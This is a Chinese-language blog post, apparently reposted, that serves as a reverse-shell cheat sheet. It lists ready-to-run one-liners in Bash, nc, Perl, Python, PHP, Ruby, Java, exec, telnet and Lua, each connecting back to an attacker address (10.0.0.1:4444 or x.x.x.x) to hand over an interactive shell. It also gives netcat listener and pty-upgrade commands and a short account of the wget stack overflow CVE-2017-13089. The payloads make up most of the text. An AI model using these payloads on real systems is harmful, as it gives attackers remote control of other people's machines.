• jQuery火箭图标返回顶部代码


    客户端监听本地:

    nc -nvlp 4444
    

    从原生的 shell 环境切换到 linux 的交互式 bash 环境:

    python -c 'import pty; pty.spawn("/bin/bash")'
    
    echo os.system('/bin/bash')
    
    /bin/sh -i
    

    1.Bash

    bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
    

    2.Nc

    nc -e /bin/sh 10.0.0.1 4444
    

    有些版本的NC可能不支持-e选项,不能使用-e时:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
    

    3.Perl

    perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    不依赖/bin/sh:

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    

    Windows:

    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    

    4.Python 2.7

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    5.Php

    php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
    

    6.Ruby

    win/linux通用:

    ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    

    7.Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
    

    8.Exec

    分步运行:

    exec 5<>/dev/tcp/10.0.0.1/4444
    cat <&5 | while read line; do $line 2>&5 >&5; done
    

    直接运行:

    0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196>&196 2>&196
    

    9.Telnet

    NC不可用或者/dev/tcp不可用时

    mknod backpipe p && telnet 10.0.0.1 4444 0<backpipe | /bin/bash 1>backpipe
    

    攻击者主机上打开两个终端分别执行监听:

    nc -lvvp 4444
    nc -lvvp 5555
    

    目标主机中执行:

    telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
    

    监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip;反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

    另一个版本:

    rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
    

    10.Lua

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    

    11.wegt栈溢出

    #版本:wget 1.19.2 前
    
    #解释:wget 在下载文件时,如接收到重定向(401未认证)时,会将数据传递给skip_short_body () 函数处理,在该函数中会调用 strtol () 来对每个块的长度进行读取,在 1.19.2 版本之前,skip_short_body () 函数并没有对读取到的 块的长度 的正负进行检查。然后程序使用 MIN 宏在长度跟 512 之间选择一个最小的长度给 contlen,将此长度传给 fd_read () 作为参数向栈上读入相应字节的内容。但是若 某块的长度 为负,经 strtol () 处理后,返回的 size 为有符号整形 (8-byte),最高位为1,MIN () 宏也会认 size 比 512 小,会将此 8-byte 负数作为参数传给 fd_read (),fd_read () 只取其低 4-byte。因此 contlen 可控,栈上写内容的长度也可控,可以造成栈溢出来反弹
    

    参考链接:CVE-2017-13089 wget栈溢出复现

    12.注解

    bash -i    打开一个交互的bash
    >&    将标准错误输出重定向到标准输出
    /dev/tcp/x.x.x.x/port    意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
    0>&1    标准输入重定向到标准输出,实现你与反弹出来的shell的交互
    

    注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

    linux shell下常用的文件描述符是:

    1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
    2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
    3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

    另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。

  • 相关阅读:
    ubuntu上如何安装和卸载google chrome 浏览器
    另眼相看“那些争议最大的编程观点”
    读完了csapp(中文名:深入理解计算机系统)
    SSL工作原理
    linux signal 处理
    PCB设计资料:看到最后才知道是福利
    String.Format使用方法
    matlab三维画图
    spin_lock &amp; mutex_lock的差别?
    Hibernate Criterion
  • 原文地址:https://www.cnblogs.com/-mo-/p/11988065.html
Copyright © 2020-2023  润新知